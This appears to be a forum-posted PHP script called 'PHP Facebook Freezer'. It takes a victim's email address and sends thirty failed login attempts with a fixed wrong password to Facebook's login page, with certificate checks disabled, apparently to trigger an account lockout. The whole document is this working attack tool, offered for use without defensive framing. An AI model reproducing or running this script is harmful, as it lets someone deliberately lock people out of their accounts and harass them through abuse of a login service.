PHP Facebook Freezer";
echo "
";
$email=$_POST['email'];
$passwd='123';
if(isset($email) && isset($passwd)){
$kue="/tmp/".rand().".txt";
$url='https://login.facebook.com/login.php';
$login="email=$email&pass=$passwd&login=Log In";
define("_COK_", $kue);
curlget($url);
for ($number=1; $number<=30; $number++) {
$data=curlpost($url,$login);
}
echo $data;
}
function curlget($url){
$agent=$_SERVER['HTTP_USER_AGENT'];
$curl=curl_init();
curl_setopt($curl, CURLOPT_URL,$url);
curl_setopt($curl, CURLOPT_USERAGENT, $agent);
curl_setopt($curl, CURLOPT_RETURNTRANSFER ,1);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION ,1);
curl_setopt($curl, CURLOPT_ENCODING, "");
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_COOKIEFILE, _COK_);
curl_setopt($curl, CURLOPT_COOKIEJAR, _COK_);
$data = curl_exec($curl);
curl_close ($curl);
return $data;
}
function curlpost($url,$post){
$agent=$_SERVER['HTTP_USER_AGENT'];
$curl=curl_init();
curl_setopt($curl, CURLOPT_URL,$url);
curl_setopt($curl, CURLOPT_USERAGENT, $agent);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, $post);
curl_setopt($curl, CURLOPT_ENCODING, "");
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION ,1);
curl_setopt($curl, CURLOPT_RETURNTRANSFER ,1);
curl_setopt($curl, CURLOPT_COOKIEFILE, _COK_);
curl_setopt($curl, CURLOPT_COOKIEJAR, _COK_);
$data = curl_exec($curl);
curl_close ($curl);
return $data;
}
echo "";
?>[/code]